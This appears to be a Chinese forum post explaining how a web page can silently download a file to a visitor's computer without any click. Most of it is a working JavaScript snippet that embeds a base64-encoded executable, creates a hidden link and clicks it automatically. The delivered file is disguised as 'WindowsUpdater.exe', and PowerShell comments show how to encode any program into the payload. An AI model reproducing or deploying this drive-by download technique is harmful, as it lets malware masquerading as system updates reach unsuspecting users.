[color=rgba(0, 0, 0, 0.84)]你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript就可以实现后台自动下载文件。 JavaScript代码- <script>
- filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
- filedata = ""//这里需要填文件数据
- //如何生成文件数据?
- //我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:\Windows\System32\calc.exe'
- //模板
- //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
- //譬如我们这里想获取计算器程序的data
- //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\System32\calc.exe'))
- //我们可以继续输入
- //$base64string | Out-File temporary.log
- //之后我们打开这个文件
- //code .\temporary.log
- //之后将这个文件数据复制到上方的filedata=""中
- function base64tobytes(b64data){
- var binary_values = atob(b64data);
- var binary_length = binary_values.length
- var bytes_data = new Uint8Array(binary_length);
- for ( var i = 0 ; i < binary_length ; i++ ){
- bytes_data[i] = binary_values.charCodeAt(i);
- }
- return bytes_data.buffer;
- }
- var filebytes = base64tobytes(filedata);
- var blob = new Blob([filebytes],{"type":"octet/stream"});
- var anchor = document.createElement("a")
- document.body.append(anchor);
- anchor.style = "display:none;";
- var url = window.URL.createObjectURL(blob)
- anchor.href = url;
- anchor.download = filename;
- anchor.click();
- window.URL.revokeObjectURL(url);
- </script>
复制代码
|